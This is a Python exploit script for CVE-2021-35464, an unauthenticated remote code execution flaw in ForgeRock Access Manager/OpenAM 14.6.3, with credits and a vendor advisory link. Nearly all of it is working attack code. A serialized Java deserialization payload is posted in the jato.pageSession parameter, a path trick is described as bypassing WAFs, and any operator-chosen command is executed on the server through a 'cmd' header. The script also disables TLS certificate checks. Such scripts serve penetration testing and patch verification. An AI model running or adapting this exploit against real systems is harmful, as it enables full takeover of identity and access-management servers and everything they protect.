# Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-07-14
# Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be
# Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244
# Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/
# Version: [1] OpenAM 14.6.3
# [2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021
# Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10
# CVE: CVE-2021-35464
#!/usr/bin/env python3
'''
Copyright 2021 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
File name CVE-2021-35464.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)
Rewritten from and full credits to @Y4er_ChaBug:
https://github.com/Y4er/openam-CVE-2021-35464
and of course the discoverer @artsploit:
https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
Created using https://github.com/frohoff/ysoserial
'''
import urllib.request, urllib.parse, ssl, sys, optparse
## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7080/openam'
sEndpoint = 'ccversion/Version'
sEndpoint = 'oauth2/..;/ccversion/Version' ## This bypasses potential WAFs
iTimeout = 5
strSerializedPayload = b'AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db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ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$'
## Ignore unsigned certs, if any because OpenAM is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context
def checkParams(options, args):
if args: sHost = args[0]
else:
sHost = input('[?] Please enter the URL ['+sURL+'] : ')
if sHost == '': sHost = sURL
if not sHost[-1:] == '/': sHost += '/'
if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
if options.command: sCMD = options.command
else: sCMD = ''
if options.proxy: sProxy = options.proxy
else: sProxy = ''
return (sHost, sCMD, sProxy)
def findEndpoint(oOpener, sHost, sProxy):
def testEndpoint(sURL):
oRequest = urllib.request.Request(sURL)
if sProxy: oRequest.set_proxy(sProxy, 'http')
try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
except: return False
if oResponse.code == 200:
if 'ForgeRock' in oResponse.read().decode(errors='ignore'):
print('[+] Found potential vulnerable endpoint: ' + sURL)
return True
return False
if testEndpoint(sHost + sEndpoint): return sHost + sEndpoint
elif testEndpoint(sHost + 'openam/' + sEndpoint): return sHost + 'openam/' + sEndpoint
elif testEndpoint(sHost + 'OpenAM/' + sEndpoint): return sHost + 'OpenAM/' + sEndpoint
elif testEndpoint(sHost + 'openam/ccversion/Version'): return sHost + 'openam/ccversion/Version'
elif testEndpoint(sHost + 'OpenAM/ccversion/Version'): return sHost + 'OpenAM/ccversion/Version'
else: return ''
def testVuln(oOpener, sURL, sProxy):
oResponse = runCmd(oOpener, sURL, sProxy, 'echo CVE-2021-35464')
## The response is actually not well formed HTTP, needs manual formatting
bResp = bytearray(15) ## "CVE-2021-35464\n" should be 15 bytes
try: oResponse.readinto(bResp)
except: pass
#print(bResp.split(b'\x00')[0])
if 'CVE-2021-35464' in bResp.decode(): return True
else: return False
def runVuln(oOpener, sURL, sProxy, sCMD):
oResponse = runCmd(oOpener, sURL, sProxy, sCMD)
## The response is actually not well formed HTTP, needs manual formatting
bResp = bytearray(4096)
try: oResponse.readinto(bResp)
except: pass ## The readinto still should have worked
sResp = bResp.split(b'\x00')[0].decode()
print(sResp)
def runCmd(oOpener, sURL, sProxy, sCMD):
oData = b'jato.pageSession=' + strSerializedPayload
oHeaders = {'cmd' : sCMD}
oRequest = urllib.request.Request(url = sURL, headers = oHeaders, data = oData)
if sProxy: oRequest.set_proxy(sProxy, 'http')
return oOpener.open(oRequest, timeout = iTimeout)
def main():
usage = (
'usage: %prog [options] URL \n'
'Example: CVE-2021-35464.py -c id http://192.168.0.100:7080/openam\n'
'Example: CVE-2021-35464.py -c dir -p 127.0.0.1:8080 http://192.168.0.100:7080/openam\n'
'When in doubt, just enter a single IP address'
)
parser = optparse.OptionParser(usage=usage)
parser.add_option('--command', '-c', dest='command', help='Optional: The command to run remotely')
parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080')
## Get or ask for the vars
(options, args) = parser.parse_args()
(sHost, sCMD, sProxy) = checkParams(options, args)
## Verify reachability
print('[!] Verifying reachability of ' + sHost)
oOpener = urllib.request.build_opener()
oRequest = urllib.request.Request(sHost)
if sProxy: oRequest.set_proxy(sProxy, 'http')
try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
except urllib.error.HTTPError: pass
except: sys.exit('[-] Error, host ' + sHost + ' seems to be unreachable')
print('[+] Endpoint ' + sHost + ' reachable')
## Find endpoint
print('[!] Finding correct OpenAM endpoint')
sEndpoint = findEndpoint(oOpener, sHost, sProxy)
if sEndpoint == '': sys.exit('[-] Error finding the correct OpenAM endpoint or not vulnerable.')
## Verify vulnerability
if testVuln(oOpener, sEndpoint, sProxy): print('[+] !SUCCESS! Host ' + sHost + ' is vulnerable to CVE-2021-35464')
else: sys.exit('[-] Not vulnerable or this implementation does not work')
if sCMD:
print('[+] Running command "' + sCMD + '" now:\n')
runVuln(oOpener, sEndpoint, sProxy, sCMD)
else: print('[!] All done')
if __name__ == "__main__":
main()